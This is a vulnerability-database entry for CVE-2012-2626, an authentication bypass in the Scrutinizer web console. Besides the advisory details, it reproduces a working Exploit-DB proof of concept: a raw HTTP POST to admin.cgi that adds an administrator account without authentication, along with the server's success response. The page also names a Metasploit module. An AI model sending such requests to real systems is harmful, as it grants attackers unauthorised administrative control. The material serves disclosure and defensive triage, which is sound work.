CVE-2012-2626

medium

Published 2012-07-31 · Modified 2026-04-29

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CVSS v3

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CVSS v4 NEW

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not yet in upstream

VIR risk

6.0

Description

cgi-bin/admin.cgi in the web console in Plixer Scrutinizer (aka Dell SonicWALL Scrutinizer) before 9.5.0 does not require token authentication, which allows remote attackers to add administrative accounts via a userprefs action.

Predictions

Exploit likelihood

20%

Patch ETA

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Heuristic predictions, AS-IS, for prioritization only.

Mitigations

No mitigations published for this CVE yet.

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Exploits

Public proof-of-concept code below. AS-IS, for defenders and authorised testing only.

Exploit-DB

EDB-37549 webapps cgi verified text · 1 KB

Mario Ceballos · 2012-07-30

Scrutinizer 9.0.1.19899 - HTTP Authentication Bypass

text exploit Source: Exploit-DB

source: https://www.securityfocus.com/bid/54727/info

Scrutinizer is prone to an authentication-bypass vulnerability.

Exploiting this issue may allow an attacker to bypass certain security restrictions and perform unauthorized actions.

Scrutinizer 9.5.0 is vulnerable; other versions may also be affected. 

#Request
POST /cgi-bin/admin.cgi HTTP/1.1
Host: 10.70.70.212
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.6; rv:11.0) Gecko/20100101 Firefox/11.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip, deflate
Proxy-Connection: keep-alive
Content-Length: 70

tool=userprefs&newUser=trustwave&pwd=trustwave&selectedUserGroup=1

#Response
HTTP/1.1 200 OK
Date: Wed, 25 Apr 2012 17:52:15 GMT
Server: Apache
Vary: Accept-Encoding
Content-Length: 19
Content-Type: text/html; charset=utf-8

{"new_user_id":"2"}

Metasploit modules

auxiliary_admin/http/scrutinizer_add_user rank 300

Plixer Scrutinizer NetFlow and sFlow Analyzer HTTP Authentication Bypass

Source fetch failed: fetch_error — view the original via the link above.

Application impact

Vendor	Product	Versions	Fixed
sonicwall	scrutinizer	`{"endExcluding":"9.5.0"}`	`9.5.0`

References

CWEs

CWE-287

Community-verified mitigations for this CVE will appear above when contributors publish them.

Verify integrity in audit chain (admin only). AS-IS.